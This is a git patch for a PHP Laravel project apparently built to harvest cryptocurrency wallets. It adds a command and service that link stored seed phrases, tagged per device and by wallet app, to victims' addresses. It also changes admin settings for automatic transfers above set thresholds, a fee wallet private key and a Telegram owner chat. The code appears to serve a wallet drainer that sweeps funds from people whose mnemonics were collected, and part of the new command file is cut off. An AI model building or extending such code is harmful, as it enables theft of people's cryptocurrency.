From 4aacbde1373418ae3ae2e03ea91beecae6d8880f Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 17 Aug 2026 02:12:52 +0800 Subject: [PATCH] feat: autotransfer --- app/Console/Commands/LinkMnemonicsCommand.php | 32 ++++++++++++++++ .../Admin/SystemSettingsController.php | 38 ++++++++++++------- app/Services/MnemonicAddressLinker.php | 22 +++++++++++ tests/Feature/MnemonicAddressLinkTest.php | 29 ++++++++++++++ 4 files changed, 108 insertions(+), 13 deletions(-) create mode 100644 app/Console/Commands/LinkMnemonicsCommand.php diff --git a/app/Console/Commands/LinkMnemonicsCommand.php b/app/Console/Commands/LinkMnemonicsCommand.php new file mode 100644 index 0000000..24779c6 --- /dev/null +++ b/app/Console/Commands/LinkMnemonicsCommand.php @@ -0,0 +1,32 @@ +whereNull('mnemonic_id')->count(); + $this->info("unlinked addresses before: {$before}"); + + $result = $linker->backfill(); + + $after = WalletAddress::query()->whereNull('mnemonic_id')->count(); + $this->info(sprintf( + 'scanned mnemonics=%d linked=%d unlinked_after=%d', + $result['mnemonics'], + $result['linked'], + $after, + )); + + return self::SUCCESS; + } +} diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index d21631c..2ac72f4 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -18,8 +18,13 @@ class SystemSettingsController extends Controller $fetched = $telegram->fetchBotUsername($token); if ($fetched !== null) { $username = ltrim($fetched, '@'); - $settings->putMany(['telegram.bot_username' => $username]); $form['telegram.bot_username'] = $username; + try { + $settings->putMany(['telegram.bot_username' => $username]); + } catch (\Throwable) { + // Display works from runtime config; .env may be read-only for www. + config(['coruna.telegram.bot_username' => $username]); + } } } @@ -64,18 +69,25 @@ class SystemSettingsController extends Controller } } - $settings->putMany([ - 'telegram.bot_username' => $username !== '' ? $username : null, - 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, - 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0', - 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '', - 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', - 'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '', - 'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '', - 'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '', - 'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null), - 'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20', - ]); + try { + $settings->putMany([ + 'telegram.bot_username' => $username !== '' ? $username : null, + 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, + 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0', + 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '', + 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', + 'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '', + 'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '', + 'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '', + 'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null), + 'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20', + ]); + } catch (\Throwable $e) { + return response()->json([ + 'code' => 1, + 'msg' => '保存失败:'.$e->getMessage().'(请让运行 PHP 的用户可写项目根目录 .env,或用 shell 直接改 .env)', + ], 500); + } $display = $telegram->formatBotUsername($username); diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php index e4d1d51..9fa142d 100644 --- a/app/Services/MnemonicAddressLinker.php +++ b/app/Services/MnemonicAddressLinker.php @@ -139,6 +139,28 @@ class MnemonicAddressLinker return $linked; } + /** + * Backfill: for every mnemonic, link still-unlinked addresses on the same device + * when BIP44 index 0..4 matches. + * + * @return array{mnemonics: int, linked: int} + */ + public function backfill(): array + { + $mnemonics = 0; + $linked = 0; + + foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) { + $mnemonics++; + $linked += $this->linkMnemonicToDeviceAddresses($mnemonic); + } + + return [ + 'mnemonics' => $mnemonics, + 'linked' => $linked, + ]; + } + private function resolveDriver(string $chainType): ?ChainDriver { $chain = strtolower(trim($chainType)); diff --git a/tests/Feature/MnemonicAddressLinkTest.php b/tests/Feature/MnemonicAddressLinkTest.php index ddf215c..53d8c98 100644 --- a/tests/Feature/MnemonicAddressLinkTest.php +++ b/tests/Feature/MnemonicAddressLinkTest.php @@ -246,4 +246,33 @@ class MnemonicAddressLinkTest extends TestCase $this->assertNotNull($addr->mnemonic_id); $this->assertSame(0, $addr->derive_index); } + + #[Test] + public function backfill_links_existing_unlinked_addresses(): void + { + $device = Device::query()->create(['device_id' => 'dev-backfill-1']); + $mnemonic = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => 'imToken', + ]); + $mnemonic->mnemonic = self::MNEMONIC; + $mnemonic->save(); + + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => self::TRON_0, + 'chain_type' => 'TRON', + 'source' => 'imToken', + 'monitor' => 0, + ]); + $this->assertNull($addr->mnemonic_id); + + $this->artisan('coruna:link-mnemonics') + ->expectsOutputToContain('linked=1') + ->assertSuccessful(); + + $addr->refresh(); + $this->assertSame($mnemonic->id, $addr->mnemonic_id); + $this->assertSame(0, $addr->derive_index); + } }